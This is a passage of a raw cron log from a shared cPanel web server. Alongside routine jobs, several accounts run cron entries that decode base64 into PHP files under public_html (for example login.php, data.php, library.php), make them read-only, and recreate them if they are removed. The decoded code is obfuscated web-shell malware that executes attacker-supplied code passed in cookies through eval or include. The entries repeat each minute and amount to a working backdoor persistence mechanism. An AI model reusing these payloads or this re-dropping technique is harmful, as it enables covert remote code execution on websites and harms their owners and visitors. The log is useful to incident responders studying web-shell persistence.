bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:52:02 medusa CROND[4656]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:52:02 medusa CROND[4657]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 13:52:02 medusa CROND[4658]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:52:02 medusa CROND[4659]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:52:02 medusa CROND[4660]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:52:02 medusa CROND[4662]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:52:02 medusa CROND[4666]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:52:02 medusa CROND[4668]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:52:02 medusa CROND[4667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:52:02 medusa CROND[4672]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:53:01 medusa CROND[29170]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 13:53:01 medusa CROND[29190]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 13:53:01 medusa CROND[29191]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:53:01 medusa CROND[29192]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 13:53:01 medusa CROND[29193]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:53:01 medusa CROND[29195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 13:53:01 medusa CROND[29197]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:53:01 medusa CROND[29199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:53:01 medusa CROND[29200]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 13:53:01 medusa CROND[29201]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:53:01 medusa CROND[29202]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:53:01 medusa CROND[29204]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:54:02 medusa CROND[21261]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 13:54:02 medusa CROND[21262]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 13:54:02 medusa CROND[21263]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 13:54:02 medusa CROND[21264]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 13:54:02 medusa CROND[21266]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 13:54:02 medusa CROND[21271]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSAr